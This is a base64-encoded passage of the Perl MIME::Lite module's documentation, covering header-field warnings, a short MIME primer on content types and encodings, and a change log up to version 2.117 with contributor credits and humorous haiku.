YWdlcy4KCgo9aGVhZDIgTUlNRSBhdHRyaWJ1dGVzIGFyZSBzZXBhcmF0ZSBmcm9tIGhlYWRlciBm aWVsZHMhCgpCPEltcG9ydGFudDo+IHRoZSBNSU1FIGF0dHJpYnV0ZXMgYXJlIHN0b3JlZCBhbmQg bWFuaXB1bGF0ZWQgc2VwYXJhdGVseSAKZnJvbSB0aGUgbWVzc2FnZSBoZWFkZXIgZmllbGRzOyB3 aGVuIGl0IGNvbWVzIHRpbWUgdG8gcHJpbnQgdGhlIApoZWFkZXIgb3V0LCBJPGFueSBleHBsaWNp dGx5LWdpdmVuIGhlYWRlciBmaWVsZHMgb3ZlcnJpZGUgdGhlIG9uZXMgdGhhdAp3b3VsZCBiZSBj cmVhdGVkIGZyb20gdGhlIE1JTUUgYXR0cmlidXRlcy4+ICBUaGF0IG1lYW5zIHRoYXQgdGhpczoK CiAgICAjIyMgREFOR0VSICMjIyBEQU5HRVIgIyMjIERBTkdFUiAjIyMgREFOR0VSICMjIyBEQU5H RVIgIyMjCiAgICAkbXNnLT5hZGQoIkNvbnRlbnQtdHlwZSIsICJ0ZXh0L2h0bWw7IGNoYXJzZXQ9 VVMtQVNDSUkiKTsKCndpbGwgc2V0IHRoZSBleGFjdCBDPCJDb250ZW50LXR5cGUiPiBmaWVsZCBp biB0aGUgaGVhZGVyIEkgd3JpdGUsIApJPHJlZ2FyZGxlc3Mgb2Ygd2hhdCB0aGUgYWN0dWFsIE1J TUUgYXR0cmlidXRlcyBhcmUuPgoKSTxUaGlzIGZlYXR1cmUgaXMgZm9yIGV4cGVyaWVuY2VkIHVz ZXJzIG9ubHksPiBhcyBhbiBlc2NhcGUgaGF0Y2ggaW4gY2FzZQp0aGUgY29kZSB0aGF0IG5vcm1h bGx5IGZvcm1hdHMgTUlNRSBoZWFkZXIgZmllbGRzIGlzbid0IGRvaW5nIHdoYXQgCnlvdSBuZWVk LiAgQW5kLCBsaWtlIGFueSBlc2NhcGUgaGF0Y2gsIGl0J3MgZ290IGFuIGFsYXJtIG9uIGl0OgpN SU1FOjpMaXRlIHdpbGwgd2FybiB5b3UgaWYgeW91IGF0dGVtcHQgdG8gQzxzZXQoKT4gb3IgQzxy ZXBsYWNlKCk+CmFueSBNSU1FIGhlYWRlciBmaWVsZC4gIFVzZSBDPGF0dHIoKT4gaW5zdGVhZC4K Cgo9aGVhZDIgQmV3YXJlIG9mIGxpbmVzIGNvbnNpc3Rpbmcgb2YgYSBzaW5nbGUgZG90CgpKdWxp YW4gSGFpZ2h0IG5vdGVkIHRoYXQgTUlNRTo6TGl0ZSBhbGxvd3MgeW91IHRvIGNvbXBvc2UgbWVz c2FnZXMKd2l0aCBsaW5lcyBpbiB0aGUgYm9keSBjb25zaXN0aW5nIG9mIGEgc2luZ2xlICIuIi4g IApUaGlzIGlzIHRydWU6IGl0IHNob3VsZCBiZSBjb21wbGV0ZWx5IGhhcm1sZXNzIHNvIGxvbmcg YXMgInNlbmRtYWlsIiAKaXMgdXNlZCB3aXRoIHRoZSAtb2kgb3B0aW9uIChzZWUgTDwiQ2hlYXAg YW5kIGVhc3kgbWFpbGluZyI+KS4KCkhvd2V2ZXIsIEkgZG9uJ3Qga25vdyBpZiB1c2luZyBOZXQ6 OlNNVFAgdG8gdHJhbnNmZXIgc3VjaCBhIG1lc3NhZ2UKaXMgZXF1YWxseSBzYWZlLiAgRmVlZGJh Y2sgaXMgd2VsY29tZWQuCgpNeSBwZXJzcGVjdGl2ZTogSSBkb24ndCB3YW50IHRvIG1hZ2ljYWxs eSBkaWRkbGUgd2l0aCBhIHVzZXIncyAKbWVzc2FnZSB1bmxlc3MgYWJzb2x1dGVseSBwb3NpdGl2 ZWx5IG5lY2Vzc2FyeS4gIApTb21lIHVzZXJzIG1heSB3YW50IHRvIHNlbmQgZmlsZXMgd2l0aCAi LiIgYWxvbmUgb24gYSBsaW5lOwpteSB3ZWxsLW1lYW5pbmcgdGlua2VyaW5nIGNvdWxkIHNlcmlv dXNseSBoYXJtIHRoZW0uCgoKPWhlYWQyIEluZmluaXRlIGxvb3BzIG1heSBtZWFuIHRhaW50ZWQg ZGF0YSEKClN0ZWZhbiBTYXV0dGVyIG5vdGljZWQgYSBidWcgaW4gMi4xMDYgd2hlcmUgYSBtLy9n YyBtYXRjaCB3YXMKZmFpbGluZyBkdWUgdG8gdGFpbnRlZCBkYXRhLCBsZWFkaW5nIHRvIGFuIGlu ZmluaXRlIGxvb3AgaW5zaWRlCk1JTUU6OkxpdGUuICAKCkkgYW0gYXR0ZW1wdGluZyB0byBjb3Jy ZWN0IGZvciB0aGlzLCBidXQgYmUgYWR2aXNlZCB0aGF0IG15IGZpeCB3aWxsCnNpbGVudGx5IHVu dGFpbnQgdGhlIGRhdGEgKGdpdmVuIHRoZSBjb250ZXh0IGluIHdoaWNoIHRoZSBwcm9ibGVtCm9j Y3VycywgdGhpcyBzaG91bGQgYmUgYmVuaWduOiBJJ3ZlIGxhYmVsbGVkIHRoZSBzb3VyY2UgY29k ZSB3aXRoClVOVEFJTlQgY29tbWVudHMgZm9yIHRoZSBjdXJpb3VzKS4KClNvOiBkb24ndCBkZXBl bmQgb24gdGFpbnQtY2hlY2tpbmcgdG8gc2F2ZSB5b3UgZnJvbSBvdXRwdXR0aW5nCnRhaW50ZWQg ZGF0YSBpbiBhIG1lc3NhZ2UuCgoKPWhlYWQyIERvbid0IHR3ZWFrIHRoZSBnbG9iYWwgY29uZmln dXJhdGlvbgoKR2xvYmFsIGNvbmZpZ3VyYXRpb24gdmFyaWFibGVzIGFyZSBiYWQsIGFuZCBzaG91 bGQgZ28gYXdheS4KVW50aWwgdGhleSBkbywgcGxlYXNlIGZvbGxvdyB0aGUgaGludHMgd2l0aCBl YWNoIHNldHRpbmcKb24gaG93IEk8bm90PiB0byBjaGFuZ2UgaXQuCgoKCgo9aGVhZDEgQSBNSU1F IFBSSU1FUgoKPWhlYWQyIENvbnRlbnQgdHlwZXMKClRoZSAiVHlwZSIgcGFyYW1ldGVyIG9mIEM8 YnVpbGQoKT4gaXMgYSBJPGNvbnRlbnQgdHlwZT4uIApUaGlzIGlzIHRoZSBhY3R1YWwgdHlwZSBv ZiBkYXRhIHlvdSBhcmUgc2VuZGluZy4gIApHZW5lcmFsbHkgdGhpcyBpcyBhIHN0cmluZyBvZiB0 aGUgZm9ybSBDPCJtYWpvcnR5cGUvbWlub3J0eXBlIj4uCgpIZXJlIGFyZSB0aGUgbWFqb3IgTUlN RSB0eXBlcy4KQSBtb3JlLWNvbXByZWhlbnNpdmUgbGlzdGluZyBtYXkgYmUgZm91bmQgaW4gUkZD LTIwNDYuCgo9b3ZlciA0Cgo9aXRlbSBhcHBsaWNhdGlvbgoKRGF0YSB3aGljaCBkb2VzIG5vdCBm aXQgaW4gYW55IG9mIHRoZSBvdGhlciBjYXRlZ29yaWVzLCBwYXJ0aWN1bGFybHkgCmRhdGEgdG8g YmUgcHJvY2Vzc2VkIGJ5IHNvbWUgdHlwZSBvZiBhcHBsaWNhdGlvbiBwcm9ncmFtLiAKQzxhcHBs aWNhdGlvbi9vY3RldC1zdHJlYW0+LCBDPGFwcGxpY2F0aW9uL2d6aXA+LCBDPGFwcGxpY2F0aW9u L3Bvc3RzY3JpcHQ+Li4uCgo9aXRlbSBhdWRpbwoKQXVkaW8gZGF0YS4KQzxhdWRpby9iYXNpYz4u Li4KCj1pdGVtIGltYWdlCgpHcmFwaGljcyBkYXRhLgpDPGltYWdlL2dpZj4sIEM8aW1hZ2UvanBl Zz4uLi4KCj1pdGVtIG1lc3NhZ2UKCkEgbWVzc2FnZSwgdXN1YWxseSBhbm90aGVyIG1haWwgb3Ig TUlNRSBtZXNzYWdlLgpDPG1lc3NhZ2UvcmZjODIyPi4uLgoKPWl0ZW0gbXVsdGlwYXJ0CgpBIG1l c3NhZ2UgY29udGFpbmluZyBvdGhlciBtZXNzYWdlcy4KQzxtdWx0aXBhcnQvbWl4ZWQ+LCBDPG11 bHRpcGFydC9hbHRlcm5hdGl2ZT4uLi4KCj1pdGVtIHRleHQKClRleHR1YWwgZGF0YSwgbWVhbnQg Zm9yIGh1bWFucyB0byByZWFkLgpDPHRleHQvcGxhaW4+LCBDPHRleHQvaHRtbD4uLi4KCj1pdGVt IHZpZGVvCgpWaWRlbyBvciB2aWRlbythdWRpbyBkYXRhLgpDPHZpZGVvL21wZWc+Li4uCgo9YmFj awoKCj1oZWFkMiBDb250ZW50IHRyYW5zZmVyIGVuY29kaW5ncwoKVGhlICJFbmNvZGluZyIgcGFy YW1ldGVyIG9mIEM8YnVpbGQoKT4uClRoaXMgaXMgaG93IHRoZSBtZXNzYWdlIGJvZHkgaXMgcGFj a2FnZWQgdXAgZm9yIHNhZmUgdHJhbnNpdC4KCkhlcmUgYXJlIHRoZSA1IG1ham9yIE1JTUUgZW5j b2RpbmdzLgpBIG1vcmUtY29tcHJlaGVuc2l2ZSBsaXN0aW5nIG1heSBiZSBmb3VuZCBpbiBSRkMt MjA0NS4KCj1vdmVyIDQKCj1pdGVtIDdiaXQKCkJhc2ljYWxseSwgbm8gSTxyZWFsPiBlbmNvZGlu ZyBpcyBkb25lLiAgSG93ZXZlciwgdGhpcyBsYWJlbCBndWFyYW50ZWVzIHRoYXQgbm8KOC1iaXQg Y2hhcmFjdGVycyBhcmUgcHJlc2VudCwgYW5kIHRoYXQgbGluZXMgZG8gbm90IGV4Y2VlZCAxMDAw IGNoYXJhY3RlcnMgCmluIGxlbmd0aC4KCj1pdGVtIDhiaXQKCkJhc2ljYWxseSwgbm8gSTxyZWFs PiBlbmNvZGluZyBpcyBkb25lLiAgVGhlIG1lc3NhZ2UgbWlnaHQgY29udGFpbiA4LWJpdCAKY2hh cmFjdGVycywgYnV0IHRoaXMgZW5jb2RpbmcgZ3VhcmFudGVlcyB0aGF0IGxpbmVzIGRvIG5vdCBl eGNlZWQgMTAwMCAKY2hhcmFjdGVycyBpbiBsZW5ndGguCgo9aXRlbSBiaW5hcnkKCk5vIGVuY29k aW5nIGlzIGRvbmUgYXQgYWxsLiAgTWVzc2FnZSBtaWdodCBjb250YWluIDgtYml0IGNoYXJhY3Rl cnMsCmFuZCBsaW5lcyBtaWdodCBiZSBsb25nZXIgdGhhbiAxMDAwIGNoYXJhY3RlcnMgbG9uZy4K ClRoZSBtb3N0IGxpYmVyYWwsIGFuZCB0aGUgbGVhc3QgbGlrZWx5IHRvIGdldCB0aHJvdWdoIG1h aWwgZ2F0ZXdheXMuICAKVXNlIHNwYXJpbmdseSwgb3IgKGJldHRlciB5ZXQpIG5vdCBhdCBhbGwu Cgo9aXRlbSBiYXNlNjQKCkxpa2UgInV1ZW5jb2RlIiwgYnV0IHZlcnkgd2VsbC1kZWZpbmVkLiAg VGhpcyBpcyBob3cgeW91IHNob3VsZCBzZW5kCmVzc2VudGlhbGx5IGJpbmFyeSBpbmZvcm1hdGlv biAodGFyIGZpbGVzLCBHSUZzLCBKUEVHcywgZXRjLikuIAoKPWl0ZW0gcXVvdGVkLXByaW50YWJs ZQoKVXNlZnVsIGZvciBlbmNvZGluZyBtZXNzYWdlcyB3aGljaCBhcmUgdGV4dHVhbCBpbiBuYXR1 cmUsIHlldCB3aGljaCBjb250YWluIApub24tQVNDSUkgY2hhcmFjdGVycyAoZS5nLiwgTGF0aW4t MSwgTGF0aW4tMiwgb3IgYW55IG90aGVyIDgtYml0IGFscGhhYmV0KS4KCj1iYWNrCgoKCj1oZWFk MSBWRVJTSU9OCgokSWQ6IExpdGUucG0sdiAyLjExNyAyMDAxLzA4LzIwIDIwOjQwOjM5IGVyeXEg RXhwICQKCgo9aGVhZDEgQ0hBTkdFIExPRwoKPW92ZXIgNAoKCj1pdGVtIFZlcnNpb24gMi4xMTcg ICAoMjAwMS8wOC8yMCkKClRoZSB0ZXJtcy1vZi11c2UgaGF2ZSBiZWVuIHBsYWNlZCBpbiB0aGUg ZGlzdHJpYnV0aW9uIGZpbGUgIkNPUFlJTkciLiAgCkFsc28sIHNtYWxsIGRvY3VtZW50YXRpb24g dHdlYWtzIHdlcmUgbWFkZS4KCgo9aXRlbSBWZXJzaW9uIDIuMTE2ICAgKDIwMDEvMDgvMTcpCgpB ZGRlZCBsb25nLW92ZXJkdWUgcGF0Y2ggd2hpY2ggbWFrZXMgdGhlIGluc3RhbmNlIG1ldGhvZCBm b3JtCm9mIHNlbmQoKSBkbyB0aGUgcmlnaHQgdGhpbmcgd2hlbiBnaXZlbiBIT1cuLi4gYXJndW1l bnRzLgpJPFRoYW5rcyB0byBDYXNleSBXZXN0IGZvciB0aGUgcGF0Y2guPgoKPWl0ZW0gVmVyc2lv biAyLjExNCAgICgyMDAxLzA4LzE2KQoKTmV3IHNwZWNpYWwgJ0FVVE8nIGNvbnRlbnQgdHlwZSBp biBuZXcoKS9idWlsZCgpIHRlbGxzIE1JTUU6OkxpdGUgdG8gCnRyeSBhbmQgZ3Vlc3MgdGhlIHR5 cGUgZnJvbSBmaWxlIGV4dGVuc2lvbi4gIFRvIG1ha2UgdXNlIG9mIAp0aGlzLCB5b3UnbGwgd2Fu dCB0byBpbnN0YWxsIEI8TUlNRTo6VHlwZXM+LgpUaGUgIkFVVE8iIHNldHRpbmcgY2FuIGJlIG1h ZGUgdGhlIGRlZmF1bHQgZGVmYXVsdCAoaW5zdGVhZCBvZiAiVEVYVCIpCmlmIHlvdSBzZXQgQzwk QVVUT19DT05URU5UX1RZUEUgPSAxLCAkUEFSQU5PSUQgPSAwPi4KSTxUaGFua3MgdG8+IFZpbGxl IFNreXR0RTwjMjI4PiBJPGZvciB0aGVzZSBwYXRjaGVzLj4KCkZpbGU6OkJhc2VuYW1lIGlzIHVz ZWQgaWYgaXQgaXMgYXZhaWxhYmxlLgpJPFRoYW5rcyB0bz4gVmlsbGUgU2t5dHRFPCMyMjg+IEk8 Zm9yIHRoaXMgcGF0Y2guPgoKU01UUCBmYWlsdXJlcyAoaW4gc2VuZF9ieV9zbXRwKSBub3cgYWRk IHRoZSAkc210cC1FPGd0Pm1lc3NhZ2UgdG8gdGhlCmNyb2FrJ2VkIGV4Y2VwdGlvbiwgc28gaWYg dGhpbmdzIGdvIHdyb25nLCB5b3UgZ2V0IGEgYmV0dGVyCmlkZWEgb2Ygd2hhdCBhbmQgd2h5LgpJ PFRoYW5rcyB0byBUaG9tYXMgUi4gV3lhbnQgSUlJIGZvciB0aGUgcGF0Y2guPgoKTWFkZSBhIHN1 YnRsZSBjaGFuZ2UgdG8gQzxhc19zdHJpbmc+IHdoaWNoIHN1cHBvc2VkbHkgZml4ZXMgYSAKZmFp bGVkIE1JTUUgZGF0YS50IHRlc3Qgd2l0aCBQZXJsIDUuMDA0XzA0IG9uIE5UIDQgc3A2LiAgClRo ZSBwcm9ibGVtIG1pZ2h0IG9ubHkgZXhpc3QgaW4gdGhpcyBvbGQgcGVybCwgYnV0IGFzIHRoZSBw YXRjaCAKYXV0aG9yIHNheXMsIG5vdCBldmVyeW9uZSBoYXMgY2xpbWJlZCBoaWdoZXIgb24gdGhl IFBlcmwgbGFkZGVyLgpJPFRoYW5rcyB0byBKb2huIEdvdHRzIGZvciB0aGUgcGF0Y2guPgoKQWRk ZWQgQzxjb250cmliPiBkaXJlY3RvcnksIHdpdGggRjxNYWlsVG9vbC5wbT4uCkk8VGhhbmtzIHRv IFRvbSBXeWFudCBmb3IgdGhpcyBjb250cmlidXRpb24uPgoKSW1wcm92ZWQgSFRNTCBkb2N1bWVu dGF0aW9uIChub3RpY2UgdGhlIGxpbmtzIHRvCnRoZSBpbmRpdmlkdWFsIG1ldGhvZHMgaW4gdGhl IHRvcCBtZW51KS4KCkNvcnJlY3RlZCBzb21lIG1pcy1kb2NzLgoKCj1pdGVtIFZlcnNpb24gMi4x MTEgICAoMjAwMS8wNC8wMykKCkFkZGVkIGxvbmctb3ZlcmR1ZSBDPHBhcnRzKCk+IGFuZCBDPHBh cnRzX0RGUygpPiBtZXRob2RzLgoKICAgIE5vIGluc3RhbmNlIG1ldGhvZAogICAgICAgRm9yIGFj Y2Vzc2luZyB0aGUgc3VicGFydHM/CQkJICAgCiAgICBUaGF0IGNhbid0IGJlIHJpZ2h0LiAgRCdP SCEJCSAKCkFkZGVkIGxvbmctb3ZlcmR1ZSBhdXRvLXZlcmlmeSBsb2dpYyB0byBDPHByaW50KCk+ IG1ldGhvZC4KCkFkZGVkIGxvbmctb3ZlcmR1ZSBDPHByZWFtYmxlKCk+IG1ldGhvZCBmb3IgZ2V0 dGluZy9zZXR0aW5nIAp0aGUgcHJlYW1ibGUgdGV4dC4gIApJPFRoYW5rcyB0byBKaW0gRGFpZ2xl IGZvciBpbnNwaXJpbmcgdGhpcy4+CgoKPWl0ZW0gVmVyc2lvbiAyLjEwOCAgICgyMDAxLzAzLzMw KQoKTmV3IEM8ZmllbGRfb3JkZXIoKT4gYWxsb3dzIHlvdSB0byBzZXQgdGhlIGhlYWRlciBvcmRl ciwgYm90aCBvbiBhIApwZXItbWVzc2FnZSBiYXNpcywgYW5kIHBhY2thZ2Utd2lkZS4KSTxUaGFu a3MgdG8gVGhvbWFzIFN0cm9tYmVyZyBmb3Igc3VnZ2VzdGluZyB0aGlzLj4KCkFkZGVkIGNvZGUg dG8gdHJ5IGFuZCBkaXZpbmUgInNlbmRtYWlsIiBwYXRoIG1vcmUgaW50ZWxsaWdlbnRseS4KSTxU aGFua3MgdG8gU2xhdmVuIFJlemljIGZvciB0aGUgc3VnZ2VzdGlvbi4+CgoKPWl0ZW0gVmVyc2lv biAyLjEwNyAgICgyMDAxLzAzLzI3KQoKRml4ZWQgc2VyaW91cyBidWcgd2hlcmUgdGFpbnRlZCBk YXRhIHdpdGggcXVvdGVkLXByaW50YWJsZSBlbmNvZGluZwp3YXMgY2F1c2luZyBpbmZpbml0ZSBs b29wcy4gIFRoZSAiZml4IiB1bnRhaW50cyB0aGUgZGF0YSBpbiBxdWVzdGlvbiwKd2hpY2ggaXMg bm90IG9wdGltYWwsIGJ1dCBpdCdzIHByb2JhYmx5IGJlbmlnbiBpbiB0aGlzIGNhc2UuCkk8VGhh bmtzIHRvIFN0ZWZhbiBTYXV0dGVyIGZvciB0cmFja2luZyB0aGlzIG5hc3R5IGxpdHRsZSBiZWFz dCBkb3duLj4KSTxUaGFua3MgdG8gTGFycnkgR2VyYWxkcyBmb3IgYSByZWxhdGVkIHBhdGNoLj4K CiAgICAiRG9jdG9yLCBPIGRvY3RvcjoKICAgICAgIGl0J3MgcGFpbmZ1bCB3aGVuIEkgZG8gKnRo aXMqIC0tIiAKICAgICJTaW1wbGU6IGRvbid0ICpkbyogdGhhdC4iIAoKRml4ZWQgYnVncyB3aGVy ZSBhIG5vbi1sb2NhbCBDPCRfPiB3YXMgYmVpbmcgbW9kaWZpZWQuLi4gYWdhaW4hICAKV2lsbCBJ IG5ldmVyIGxlYXJuPwpJPFRoYW5rcyB0byBNYWFydGVuIEtvc2thbXAgZm9yIHJlcG9ydGluZyB0 aGlzLj4KCiAgICBEb2xsYXItdW5kZXJzY29yZQogICAgICAgY2FuIHBvaXNvbiBkaXN0YW50IHdh dGVyczsKICAgJ2xvY2FsJyBtdXN0IGl0IGJlLgoKRml4ZWQgYnVnbGV0IGluIEM8YWRkKCk+IHdo ZXJlIGFsbCB2YWx1ZSByZWZlcmVuY2VzIHdlcmUgYmVpbmcgdHJlYXRlZAphcyBhcnJheXJlZnMs IGluc3RlYWQgb2YgYXMgcG9zc2libHktc2VsZi1zdHJpbmdpZnlpbmcgb2JqZWN0IHJlZnMuCk5v dyB5b3UgY2FuIHNlbmQgaW4gYW4gb2JqZWN0IHJlZiBhcyB0aGUgMm5kIGFyZ3VtZW50LgpJPFRo YW5rcyB0byBkTHV4IGZvciB0aGUgYnVnIHJlcG9ydC4+CgogICAgVGhhdCByZWYgaXMgYSBzdHJp bmc/CiAgICAgICBPcGVyYXRvciBvdmVybG9hZAogICAgaGFzIHJ1aW5lZCBteSBkYXkuCgpBZGRl ZCAiQXBwcm92ZWQiIGFzIGFuIGFjY2VwdGFibGUgaGVhZGVyIGZpZWxkIGZvciBDPG5ldygpPiwg YXMgcGVyIFJGQzEwMzYuCkk8VGhhbmtzIHRvIFRob21heCBmb3IgdGhlIHN1Z2dlc3Rpb24gcmVn YXJkaW5nIE1JTUUtdG9vbHMuPgoKU21hbGwgaW1wcm92ZW1lbnRzIHRvIGRvY3MgdG8gbWFrZSBk aWZmZXJlbnQgdXNlcyBvZiBhdHRhY2goKSAKYW5kIHZhcmlvdXMgYXJndW1lbnRzIGNsZWFyZXIu Ckk8VGhhbmtzIHRvIFN2ZW4gUmFzc21hbiBhbmQgUm9sYW5kIFdhbHRlciBmb3IgdGhlIHN1Z2dl c3Rpb25zLj4KCgo9aXRlbSBWZXJzaW9uIDIuMTA2ICAgKDIwMDAvMTEvMjEpCgpBZGRlZCBBbHBo YSB2ZXJzaW9uIG9mIHNjcnViKCkgdG8gbWFrZSBpdCBlYXN5IGZvciBwZW9wbGUgdG8gc3VwcHJl c3MKdGhlIHByaW50aW5nIG9mIHVud2FudGVkIE1JTUUgYXR0cmlidXRlcyAobGlrZSBDb250ZW50 LWxlbmd0aCkuCkk8VGhhbmtzIHRvIHRoZSBtYW55IHBlb3BsZSB3aG8gYXNrZWQgZm9yIHRoaXMu PgoKSGVhZGVycyB3aXRoIGVtcHR5LXN0cmluZ3MgZm9yIHRoZWlyIHZhbHVlcyBhcmUgbm8gbG9u Z2VyCnByaW50ZWQuICBUaGlzIHNlZW1zIHNlbnNpYmxlLCBhbmQgaGVscHMgdXMgaW1wbGVtZW50 IHNjcnViKCkuCgoKPWl0ZW0gVmVyc2lvbiAyLjEwNSAgICgyMDAwLzEwLzE0KQoKVGhlIHJlZ3Jl c3Npb24tdGVzdCBmYWlsdXJlIHdhcyBpZGVudGlmaWVkLCBhbmQgaXQgd2FzIG15IGZhdWx0LgpB cHBhcmVudGx5IHNvbWUgb2YgdGhlIFwtcXVvdGluZyBpbiBteSAiYXV0b2xvYWRlZCIgY29kZSB3 YXMKbWFraW5nIFBlcmwgNS42IHVuaGFwcHkuICBGb3IgdGhpcyBuZXN0aW5nLXJlbGF0ZWQgaWRp b2N5LCAKYSBuZXN0aW5nIGthaWt1LgpJPFRoYW5rcyB0byBTY290dCBTY2h3YXJ0eiBmb3IgaWRl bnRpZnlpbmcgdGhlIHByb2JsZW0uPgoKICAgIEluIGEgcGF0dGVybiwgbXkKICAgICAgIGJhY2tz bGFzaC1zIGR3ZWxscyBwZWFjZWZ1bGx5LAogICAgdW5hbWJpZ3VvdXMgLS0KICAgICAKICAgICAg IGJ1dCBJIGVtYmVkIGl0CiAgICAgICAgICBpbiBhIGRvdWJsZS1xdW90ZWQgc3RyaW5nICAgIAog ICAgICAgZG91YmxpbmcgdGhlIGJhY2tzbGFzaCAtLQogICAgIAogICAgICAgICAgaW50ZXJwb2xh dGluZwogICAgICAgICAgICAgdGhhdCBzYW1lIGRvdWJsZS1xdW90ZWQgc3RyaW5nIAogICAgICAg ICAgaW4gb3RoZXIgcGF0dGVybnMgLS0KICAgICAgICAgICAKICAgICAgICAgICAgIGFuZCwgd29y bGRzIHdpdGhpbiB3b3JsZHMsCiAgICAgICAgICAgICAgICBJIHNpbmdsZS1xdW90ZSB0aGUgZnVu Y3Rpb24KICAgICAgICAgICAgIHRvIGF1dG9sb2FkIGl0IC0tIAogICAgCiAgICAgICAgICBjaGFu Z2luZyB0aGUgbWVhbmluZwogICAgICAgb2YgdGhlIGJhY2tzbGFzaCBhbmQgdGhlICdzJzsKICAg IGFuZCBGaXZlLVBvaW50LVNpeCBncm93bHMuCgoKPWl0ZW0gVmVyc2lvbiAyLjEwNCAgICgyMDAw LzA5LzI4KQoKTm93IGF0dGVtcHRzIHRvIGxvYWQgYW5kIHVzZSBNYWlsOjpBZGRyZXNzIGZvciBw YXJzaW5nIGVtYWlsIAphZGRyZXNzZXMgSTxiZWZvcmU+IGZhbGxpbmcgYmFjayB0byBvdXIgb3du IG1ldGhvZC4KSTxUaGFua3MgdG8gbnVtZXJvdXMgcGVvcGxlIGZvciBzdWdnZXN0aW5nIHRoaXMu PgoKICAgIFBhcnNpbmcgYWRkcmVzc2VzCiAgICAgICBpcyB0b28gZGFtbiBoYXJkLiBPbmUgbGFz dCBob3BlOgogICAgTGV0IEdyYWhhbSBCYXJyIGRvIGl0IQoKRm9yIHRoZSBjdXJpb3VzLCB0aGUg dmVyc2lvbiBvZiBNYWlsOjpBZGRyZXNzIGFwcGVhcnMgCmFzIHRoZSAiQSIgbnVtYmVyIGluIHRo ZSBYLU1haWxlcjoKCiAgICBYLU1haWxlcjogTUlNRTo6TGl0ZSAyLjEwNCAgKEExLjE1OyBCMi4w OTsgUTIuMDMpCgpBZGRlZCBCPEZyb21TZW5kZXI+IG9wdGlvbiB0byBzZW5kX2J5X3NlbmRtYWls KCkuCkk8VGhhbmtzIHRvIEJpbGwgTW9zZWxleSBmb3Igc3VnZ2VzdGluZyB0aGlzIGZlYXR1cmUu PgoKCj1pdGVtIFZlcnNpb24gMi4xMDEgICAoMjAwMC8wNi8wNikKCk1ham9yIHJldmlzaW9uIHRv IHByaW50X2JvZHkoKSBhbmQgYm9keV9hc19zdHJpbmcoKSBzbyB0aGF0CiJib2R5IiByZWFsbHkg bWVhbnMgInRoZSBwYXJ0IGFmdGVyIHRoZSBoZWFkZXIiLCB3aGljaCBpcyB3aGF0IG1vc3QKcGVv cGxlIHdvdWxkIHdhbnQgaW4gdGhpcyBjb250ZXh0LiAgVGhpcyBpcyBCPG5vdD4gaG93IGl0IHdh cyB1c2VkCjEueCwgd2hlcmUgImJvZHkiIG9ubHkgbWVhbnQgInRoZSBib2R5IG9mIGEgc2ltcGxl IHNpbmdsZXBhcnQiLgpIb3BlZnVsbHksIHRoaXMgY2hhbmdlIHdpbGwgc29sdmUgbWFueSBwcm9i bGVtcyBhbmQgY3JlYXRlIHZlcnkgZmV3IG9uZXMuICAKCkFkZGVkIHN1cHBvcnQgZm9yIGF0dGFj aGluZyBhIHBhcnQgdG8gYSAibWVzc2FnZS9yZmM4MjIiLCB0cmVhdGluZwp0aGUgIm1lc3NhZ2Ui IHR5cGUgYXMgYSBtdWx0aXBhcnQtbGlrZSBjb250YWluZXIuCgpOb3cgdGFrZXMgY2FyZSBub3Qg dG8gaW5jbHVkZSAiQmNjOiIgaW4gaGVhZGVyIHdoZW4gdXNpbmcgc2VuZF9ieV9zbXRwLAphcyBh IHNhZmV0eSBwcmVjYXV0aW9uIGFnYWluc3QgcW1haWwncyBiZWhhdmlvci4KSTxUaGFua3MgdG8g VGF0c3VoaWtvIE1peWFnYXdhIGZvciBpZGVudGlmeWluZyB0aGlzIHByb2JsZW0uPgoKSW1wcm92 ZWQgZWZmaWNpZW5jeSBvZiBtYW55IHN0cmluZ2lmeWluZyBvcGVyYXRpb25zIGJ5IHVzaW5nIApz dHJpbmctYXJyYXlzIHdoaWNoIGFyZSBqb2luZWQsIGluc3RlYWQgb2YgZG9pbmcgbXVsdGlwbGUg YXBwZW5kcyAKdG8gYSBzY2FsYXIuCgpDbGVhbmVkIHVwIHRoZSAiZXhhbXBsZXMiIGRpcmVjdG9y eS4KCgo9aXRlbSBWZXJzaW9uIDEuMTQ3ICAgKDIwMDAvMDYvMDIpCgpGaXhlZCBidWdsZXQgd2hl cmUgbGFjayBvZiBDYzovQmNjOiB3YXMgY2F1c2luZyBleHRyYWN0X2FkZHJzCnRvIGVtaXQgInVu ZGVmaW5lZCB2YXJpYWJsZSIgd2FybmluZ3MuICBBbHNvLCBsYWNrIG9mIGEgIlRvOiIgZmllbGQK bm93IGNhdXNlcyBhIGNyb2FrLgpJPFRoYW5rcyB0byBEYXZpZCBNaXRjaGVsbCBmb3IgdGhlIGJ1 ZyByZXBvcnQgYW5kIHN1Z2dlc3RlZCBwYXRjaC4+CgoKPWl0ZW0gVmVyc2lvbiAxLjE0NiAgICgy MDAwLzA1LzE4KQoKRml4ZWQgYnVnIGluIHBhcnNpbmcgb2YgYWRkcmVzc2VzOyBwbGVhc2UgcmVh ZCB0aGUgV0FSTklOR1Mgc2VjdGlvbgp3aGljaCBkZXNjcmliZXMgcmVjb21tZW5kZWQgYWRkcmVz cyBmb3JtYXRzIGZvciAiVG86IiwgIkNjOiIsIGV0Yy4KQWxzbyBhZGRlZCBhdXRvbWF0aWMgaW5j bHVzaW9uIG9mIGEgVVQgIkRhdGU6IiBhdCB0b3AgbGV2ZWwgdW5sZXNzIApleHBsaWNpdGx5IHRv bGQgbm90IHRvLgpJPFRoYW5rcyB0byBBbmR5IEphY29icyBmb3IgdGhlIGJ1ZyByZXBvcnQgYW5k IHRoZSBzdWdnZXN0aW9uLj4KCj1pdGVtIFZlcnNpb24gMS4xNDUgICAoMjAwMC8wNS8wNikKCkZp eGVkIGJ1ZyBpbiBlbmNvZGVfN2JpdCgpOiBhIGxpbmdlcmluZyBDPC9lPiBtb2RpZmllciB3YXMg cmVtb3ZlZC4KSTxUaGFua3MgdG8gTWljaGFlbCBBLiBDaGFzZSBmb3IgdGhlIHBhdGNoLj4KCgo9 aXRlbSBWZXJzaW9uIDEuMTQyICAgKDIwMDAvMDUvMDIpCgpBZGRlZCBuZXcsIHRhaW50LXNhZmUg aW52b2NhdGlvbiBvZiAic2VuZG1haWwiLCBvbmUgd2hpY2ggYWxzbwpzZXRzIHVwIHRoZSBDPC1m PiBvcHRpb24uICBVbmZvcnR1bmF0ZWx5LCBJIGNvdWxkbid0IG1ha2UgdGhpcyBhdXRvbWF0aWM6 CnRoZSBjaGFuZ2UgY291bGQgaGF2ZSBicm9rZW4gYSBsb3Qgb2YgY29kZSBvdXQgdGhlcmUgd2hp 